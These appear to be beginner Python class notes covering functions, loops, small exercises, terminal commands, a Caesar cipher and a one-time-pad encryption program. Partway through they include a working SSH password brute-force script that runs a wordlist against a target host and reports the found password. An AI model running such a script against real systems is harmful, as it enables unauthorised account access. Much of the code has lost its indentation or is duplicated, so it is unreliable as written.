day three
def cow(name):
return("My cow is named: " + name)
cow("Bob") #nothing will be outputted
myCow = cow("Bob")
cows = [cow("Bob"), cow("Spot"), cow("Hoover")]
this is block 1
this is block 1
this is block 2
this is block 2
this is block 2
this is block 3
this is block 3
this is block 2
this is block 2
this is block 1
this is block 1
for variable in list:
The variable iterates through the list and is assigned the value of the current iteration
for x in range(5):
y = x + 1
print(x+y)
for s in myList:
print(s)
def function(parameter):
# block of code
You define (make) the function like this:
def printName(name):
print("Hello, %s!" % name)
And call (use) it like this:
printName("John")
Another example, except with return instead of print():
def savings(chores, job, spend):
return chores + job - spend
# or return(chores+job-spend)
And call it like this:
print(savings(10, 10, 5))
# OR
money = savings(10, 10, 5)
Return the number of even integers in the given array. Note: the % "mod" operator computes the remainder, e.g. 5 % 2 is 1.
count_evens([2, 1, 2, 3, 4]) → 3
count_evens([2, 2, 0]) → 3
count_evens([1, 3, 5]) → 0
Define a function sumOfList() that takes in a list as a parameter and adds up all of the numbers in the list.
Return the sum, or a string saying "The list is empty" if there are no items in the list.
Note: Use the len(param) function to return the length of the param
Write a function that takes in a string and an integer n, and returns a larger string that is n copies of the original string
Use a for loop, not the string*int
ex. string_times("Hi", 4) == HiHiHiHi
In the terminal, navigate to the exercise1 directory in your named directory in your Desktop
Create an HTML_Files directory
In ONE command, move all of the html files into the HTML_Files directory
Then, create a file containing the contents of /usr/bin and /bin
Search through that file for unique lines containing the word "lib"
find -options startingpoint -tests expression
check the man for options
startingpoint is where you begin your search
expression is what you're looking for, based on your option
tests are further options for what you're finding
find ./ -size 1033c
import paramiko, sys, os, socket
global host, username, line, input_file
line = "\n----------------------------------\n"
try:
host = raw_input("[*] Enter Target Host Address: ")
username = raw_input("[*] Enter SSH Username: ")
input_file = raw_input("[*] Enter input file: ")
if os.path.exists(input_file) == False:
print "\n [*] File Path Does Not Exist !!"
sys.exit(4)
except KeyboardInterrupt:
print "\n\n [*] User Requested An Interrupt"
sys.exit(3)
Handling keyboard interrupts (when you press control + c to get out of a process)
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port = 22,
username = username, password = password)
except paramiko.AuthenticationException:
#[*] Authentication Failed...
code = 1
except:
#[*] Connection Failed ... Host Down"
code = 2
ssh.close()
return code
Try out passwords!
input_file = open(input_file)
print ""
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("%s[*] User: %s [*] Pass Found: %s%s" %(line,
username, password, line))
sys.exit(0)
elif response == 1:
print("[*] User: %s [*] Pass: %s
=> Login Incorrect !!! <=" %(username, password))
elif response == 2:
print("[*] Connection Could Not Be
Established To Address: %s" %(host))
sys.exit(2)
except Exception, e:
print e
pass
input_file.close()
ex. Imagine Dean wants to send a secret message to Kirk, without Shuto knowing what the message says. Dean first picks a key, which will be a number such as 3. Dean then tells Kirk the key.
Whenever Dean wants to write a message, all he needs to do is shift each of the letters in his message forward in the alphabet by 3 places
So the plaintext: Meet me at the park at three
becomes the ciphertext: Phhw ph dw wkh sdun dw wkuhh
A one-time pad (OTP) is a different method of encryption. When using an OTP, a string of random numbers are generated and shared between Dean and Kirk. Each letter of the message is then shifted by the corresponding number in the OTP, so each letter has its own individual key! As long as Shuto doesn't have the OTP, the message is impossible to decrypt.
from random import randint
ALPHABET = 'abcdefghijklmnopqrstuvwxyz'
def generate_otp(sheets, length):
def generate_otp(sheets, length):
for sheet in range(sheets):
with open("otp" + str(sheet) + ".txt","w") as f:
for i in range(length):
f.write(str(randint(0,26))+"\n")
def load_sheet(filename):
with open(filename, "r") as f:
contents = f.read().splitlines()
return contents
The next function asks the user to type in the message that will be encrypted, and it converts all letters to lowercase
def get_plaintext():
plain_text = input('Please type your message ')
return plain_text.lower()
Now you'll need two functions to open messages written to you, and saving the encrypted messages
def load_file(filename):
with open(filename, "r") as f:
contents = f.read()
return contents
def save_file(filename, data):
with open(filename, 'w') as f:
f.write(data)
def encrypt(plaintext, sheet):
ciphertext = ''
for position, character in enumerate(plaintext):
if character not in ALPHABET:
ciphertext += character
def encrypt(plaintext, sheet):
ciphertext = ''
for position, character in enumerate(plaintext):
if character not in ALPHABET:
ciphertext += character
else:
encrypted = (ALPHABET.index(character)
+ int(sheet[position])) % 26
ciphertext += ALPHABET[encrypted]
return ciphertext
def decrypt(ciphertext, sheet):
plaintext = ''
for position, character in enumerate(ciphertext):
if character not in ALPHABET:
plaintext += character
else:
decrypted = (ALPHABET.index(character)
- int(sheet[position])) % 26
plaintext += ALPHABET[decrypted]
return plaintext
Decrypting the message is similar to encrypting it. The only difference is you subtract the value rather than add it (and swap the ciphertext & plaintext, obviously)
def menu():
choices = ['1', '2', '3', '4']
choice = '0'
while True:
while choice not in choices:
print('What would you like to do?')
print('1. Generate one-time pads')
print('2. Encrypt a message')
print('3. Decrypt a message')
print('4. Quit the program')
choice = input('Please type 1, 2, 3 or 4 and press Enter ')
if choice == '1':
sheets = int(input('How many one-time pads
would you like to generate? '))
length = int(input('What will be your maximum
message length? '))
generate_otp(sheets, length)
elif choice == '2':
filename = input('Type in the filename of
the OTP you want to use ')
sheet = load_sheet(filename)
plaintext = get_plaintext()
ciphertext = encrypt(plaintext, sheet)
filename = input('What will be the name
of the encrypted file? ')
save_file(filename, ciphertext)
elif choice == '3':
filename = input('Type in the filename of
the OTP you want to use ')
sheet = load_sheet(filename)
filename = input('Type in the name of the
file to be decrypted ')
ciphertext = load_file(filename)
plaintext = decrypt(ciphertext, sheet)
print('The message reads: \n')
print(plaintext)
elif choice == '4':
exit()
choice = '0'
menu()
https://www.surveymonkey.com/r/DWLHWKC